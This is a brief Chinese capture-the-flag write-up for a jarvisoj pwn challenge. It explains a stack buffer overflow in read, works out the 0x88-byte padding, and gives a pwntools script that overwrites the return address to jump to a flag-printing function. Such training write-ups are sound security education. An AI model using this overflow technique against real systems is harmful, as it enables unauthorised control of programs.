题目地址
64位的程序 并且有NX保护机制
用IDA查看伪代码
发现可以good_game函数中可以直接打开flag.txt
但是main函数不会执行good_game函数,不过 read函数存在栈溢出,可以利用栈溢出控制程序流程,执行good_game
正常我们是需要填充(0x88+0x8)个字节,再写入good_game的地址
但是这样构造的payload打不通
看了一下汇编
跟平时常见的构造栈帧不一样,平时构造栈帧是为
push ebp
mov ebp,esp
sub esp,栈帧大小
......
.......
add esp,栈帧大小
pop ebp
retn
因为栈帧不一样,没有old_ebp,所以只需要填充0x88即可
然后再查看good_game的地址
exp
from pwn import *
r=remote('pwn.jarvisoj.com',9876)
payload=(0x88)*'a'+p64(0x400620)
r.sendline(payload)
r.interactive()
执行